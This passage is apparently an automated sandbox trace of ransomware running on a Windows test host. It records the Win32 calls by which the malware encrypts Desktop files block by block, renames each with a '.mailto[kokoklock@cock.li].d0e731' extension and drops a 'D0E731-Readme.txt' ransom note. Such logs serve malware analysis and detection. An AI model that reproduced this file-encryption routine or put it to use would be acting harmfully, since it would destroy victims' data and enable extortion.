lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zo7berw.xlsx.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.937] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.937] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347c620) returned 1 [0070.937] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\zo7BErW.xlsx", dwFileAttributes=0x20) returned 0 [0070.937] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x3480480 [0070.937] wcscpy (in: _Dest=0x3480480, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.937] wcscat (in: _Dest=0x3480480, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.937] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0xffffffff [0070.937] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0070.938] WriteFile (in: hFile=0x528, lpBuffer=0x33e3ba8*, nNumberOfBytesToWrite=0x481, lpNumberOfBytesWritten=0x1393fe94, lpOverlapped=0x0 | out: lpBuffer=0x33e3ba8*, lpNumberOfBytesWritten=0x1393fe94*=0x481, lpOverlapped=0x0) returned 1 [0070.939] CloseHandle (hObject=0x528) returned 1 [0070.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3480480) returned 1 [0070.939] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34315c8) returned 1 [0070.939] RtlExitUserThread (Status=0x1) Thread: id = 472 os_tid = 0x12fc [0070.429] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\zykmtoifpz9q1yc2qg.jpg")) returned 0x20 [0070.429] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg", dwFileAttributes=0x20) returned 1 [0070.429] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\zykmtoifpz9q1yc2qg.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0070.429] GetFileSizeEx (in: hFile=0x470, lpFileSize=0x139bfd5c | out: lpFileSize=0x139bfd5c*=93811) returned 1 [0070.429] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x16e6f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.430] ReadFile (in: hFile=0x470, lpBuffer=0x139bfd30, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x139bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x139bfd30*, lpNumberOfBytesRead=0x139bfd2c*=0x4, lpOverlapped=0x0) returned 1 [0070.430] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422e10 [0070.430] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422b18 [0070.430] NtQuerySystemTime (in: CurrentTime=0x139bfd08 | out: CurrentTime=0x139bfd08*=132121176283223058) returned 0x0 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0xd12387a9 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x70b64af [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0xc4022a51 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0xd7d3588f [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0xad3f2ff6 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0xa43c6830 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x7743b8b3 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x62867596 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x9d980b74 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0xfbd4261c [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x5a62b1c8 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x4d9a3c60 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x868c1a5a [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0xabc1611 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x45b639df [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x7f6a2426 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x14944786 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x93dc9294 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x19393007 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x14892e80 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x388e355d [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x8adc4f10 [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x34ca787f [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x9038bdfb [0070.430] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x26c4603d [0070.431] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0xe1a409a [0070.431] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x34cd489e [0070.431] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x73acfed [0070.431] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x9a56dee5 [0070.431] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x96a20a4 [0070.431] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0xc94f419d [0070.431] RtlRandom (in: Seed=0x139bfd14 | out: Seed=0x139bfd14) returned 0x5a0295e [0070.441] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.442] ReadFile (in: hFile=0x470, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x139bfce0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x139bfce0*=0x4096, lpOverlapped=0x0) returned 1 [0070.442] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0070.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479cb8 [0070.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422d98 [0070.442] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422d98) returned 1 [0070.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x348e228 [0070.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422fa0 [0070.442] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3422cf8 [0070.442] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cf8) returned 1 [0070.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479cb8) returned 1 [0070.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0070.443] WriteFile (in: hFile=0x470, lpBuffer=0x348e228*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x139bfce0, lpOverlapped=0x0 | out: lpBuffer=0x348e228*, lpNumberOfBytesWritten=0x139bfce0*=0x4096, lpOverlapped=0x0) returned 1 [0070.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x348e228) returned 1 [0070.443] SetFilePointerEx (in: hFile=0x470, liDistanceToMove=0x16e73, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.443] WriteFile (in: hFile=0x470, lpBuffer=0x3422fa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x139bfd18, lpOverlapped=0x0 | out: lpBuffer=0x3422fa0*, lpNumberOfBytesWritten=0x139bfd18*=0x20, lpOverlapped=0x0) returned 1 [0070.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422fa0) returned 1 [0070.443] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0070.443] WriteFile (in: hFile=0x470, lpBuffer=0x3422e60*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x139bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x3422e60*, lpNumberOfBytesWritten=0x139bfd2c*=0x8, lpOverlapped=0x0) returned 1 [0070.443] WriteFile (in: hFile=0x470, lpBuffer=0x139bfd44*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x139bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x139bfd44*, lpNumberOfBytesWritten=0x139bfd2c*=0x4, lpOverlapped=0x0) returned 1 [0070.443] WriteFile (in: hFile=0x470, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x139bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x139bfd2c*=0x4, lpOverlapped=0x0) returned 1 [0070.443] WriteFile (in: hFile=0x470, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x139bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x139bfd2c*=0x6c, lpOverlapped=0x0) returned 1 [0070.443] WriteFile (in: hFile=0x470, lpBuffer=0x3422e10*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x139bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x3422e10*, lpNumberOfBytesWritten=0x139bfd2c*=0x20, lpOverlapped=0x0) returned 1 [0070.443] WriteFile (in: hFile=0x470, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x139bfd2c, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x139bfd2c*=0x4, lpOverlapped=0x0) returned 1 [0070.444] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e10) returned 1 [0070.444] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422cd0) returned 1 [0070.444] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3422e60) returned 1 [0070.444] CloseHandle (hObject=0x470) returned 1 [0070.997] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa0) returned 0x33e6330 [0070.997] wcscpy (in: _Dest=0x33e6330, _Source="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg") returned="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg" [0070.997] wcscat (in: _Dest=0x33e6330, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731" [0070.997] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg" (normalized: "c:\\users\\fd1hvy\\desktop\\zykmtoifpz9q1yc2qg.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\zykmtoifpz9q1yc2qg.jpg.mailto[kokoklock@cock.li].d0e731")) returned 1 [0070.998] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0070.998] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33e6330) returned 1 [0070.998] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\ZYkmTOifpz9q1Yc2Qg.jpg", dwFileAttributes=0x20) returned 0 [0070.998] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fac0 [0070.998] wcscpy (in: _Dest=0x347fac0, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0070.998] wcscat (in: _Dest=0x347fac0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0070.998] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0070.998] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fac0) returned 1 [0070.998] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3426df8) returned 1 [0070.998] RtlExitUserThread (Status=0x1) Thread: id = 473 os_tid = 0x1300 [0071.570] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\_imxnkhf3b.flv")) returned 0x20 [0071.570] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv", dwFileAttributes=0x20) returned 1 [0071.570] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\_imxnkhf3b.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7b0 [0071.570] GetFileSizeEx (in: hFile=0x7b0, lpFileSize=0x13a3fd74 | out: lpFileSize=0x13a3fd74*=38315) returned 1 [0071.570] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x95a7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.570] ReadFile (in: hFile=0x7b0, lpBuffer=0x13a3fd48, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x13a3fd44, lpOverlapped=0x0 | out: lpBuffer=0x13a3fd48*, lpNumberOfBytesRead=0x13a3fd44*=0x4, lpOverlapped=0x0) returned 1 [0071.571] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423270 [0071.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34231a8 [0071.571] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423220 [0071.571] NtQuerySystemTime (in: CurrentTime=0x13a3fd20 | out: CurrentTime=0x13a3fd20*=132121176294629366) returned 0x0 [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xb795c55e [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x2cb8680d [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x5459d942 [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x88152443 [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x85534b1 [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xc67db46 [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x8409948a [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xcaa5d458 [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xd27948ce [0071.571] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x932f5fef [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x363f0ec9 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xe12758d [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xad8c0436 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xa43af9d9 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x497b6581 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x903c260c [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xafda6a82 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x4a16d462 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xb507b8c3 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x743d35c1 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xcfb4cca5 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xac3f1171 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x4ba8414e [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x41dc2412 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xeb558c2a [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x60c8c03a [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xde9a602e [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x56efb705 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x7cdb4a9 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0xa7c29dd3 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x25447f92 [0071.572] RtlRandom (in: Seed=0x13a3fd2c | out: Seed=0x13a3fd2c) returned 0x6e134f7c [0071.583] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.583] ReadFile (in: hFile=0x7b0, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x13a3fcf8, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0x13a3fcf8*=0x4096, lpOverlapped=0x0) returned 1 [0071.583] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcce0 [0071.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479f88 [0071.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423180 [0071.583] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423180) returned 1 [0071.583] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x33f28e0 [0071.584] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423248 [0071.584] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3423108 [0071.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423108) returned 1 [0071.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479f88) returned 1 [0071.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcce0) returned 1 [0071.584] WriteFile (in: hFile=0x7b0, lpBuffer=0x33f28e0*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x13a3fcf8, lpOverlapped=0x0 | out: lpBuffer=0x33f28e0*, lpNumberOfBytesWritten=0x13a3fcf8*=0x4096, lpOverlapped=0x0) returned 1 [0071.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f28e0) returned 1 [0071.584] SetFilePointerEx (in: hFile=0x7b0, liDistanceToMove=0x95ab, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0071.584] WriteFile (in: hFile=0x7b0, lpBuffer=0x3423248*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13a3fd30, lpOverlapped=0x0 | out: lpBuffer=0x3423248*, lpNumberOfBytesWritten=0x13a3fd30*=0x20, lpOverlapped=0x0) returned 1 [0071.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3423248) returned 1 [0071.584] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0071.584] WriteFile (in: hFile=0x7b0, lpBuffer=0x34231d0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x13a3fd44, lpOverlapped=0x0 | out: lpBuffer=0x34231d0*, lpNumberOfBytesWritten=0x13a3fd44*=0x8, lpOverlapped=0x0) returned 1 [0071.584] WriteFile (in: hFile=0x7b0, lpBuffer=0x13a3fd5c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13a3fd44, lpOverlapped=0x0 | out: lpBuffer=0x13a3fd5c*, lpNumberOfBytesWritten=0x13a3fd44*=0x4, lpOverlapped=0x0) returned 1 [0071.584] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13a3fd44, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x13a3fd44*=0x4, lpOverlapped=0x0) returned 1 [0071.585] WriteFile (in: hFile=0x7b0, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x13a3fd44, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x13a3fd44*=0x6c, lpOverlapped=0x0) returned 1 [0071.585] WriteFile (in: hFile=0x7b0, lpBuffer=0x34231a8*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x13a3fd44, lpOverlapped=0x0 | out: lpBuffer=0x34231a8*, lpNumberOfBytesWritten=0x13a3fd44*=0x20, lpOverlapped=0x0) returned 1 [0071.585] WriteFile (in: hFile=0x7b0, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x13a3fd44, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x13a3fd44*=0x4, lpOverlapped=0x0) returned 1 [0071.585] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231a8) returned 1 [0071.585] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34230e0) returned 1 [0071.585] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34231d0) returned 1 [0071.585] CloseHandle (hObject=0x7b0) returned 1 [0071.585] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x90) returned 0x347bca0 [0071.585] wcscpy (in: _Dest=0x347bca0, _Source="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv") returned="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv" [0071.585] wcscat (in: _Dest=0x347bca0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731" [0071.585] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv" (normalized: "c:\\users\\fd1hvy\\desktop\\_imxnkhf3b.flv"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\desktop\\_imxnkhf3b.flv.mailto[kokoklock@cock.li].d0e731")) returned 1 [0071.586] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0071.586] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347bca0) returned 1 [0071.586] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\_iMXnkHf3b.flv", dwFileAttributes=0x20) returned 0 [0071.586] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x56) returned 0x347fc40 [0071.586] wcscpy (in: _Dest=0x347fc40, _Source="C:\\Users\\FD1HVy\\Desktop\\" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\") returned="C:\\Users\\FD1HVy\\Desktop\\" [0071.586] wcscat (in: _Dest=0x347fc40, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" [0071.586] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\d0e731-readme.txt")) returned 0x20 [0071.586] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347fc40) returned 1 [0071.586] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431570) returned 1 [0071.586] RtlExitUserThread (Status=0x1) Thread: id = 474 os_tid = 0x1304 [0071.587] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Libraries\\RecordedTV.library-ms" (normalized: "c:\\users\\public\\libraries\\recordedtv.library-ms")) returned 0x20 [0071.588] SetFileAttributesW 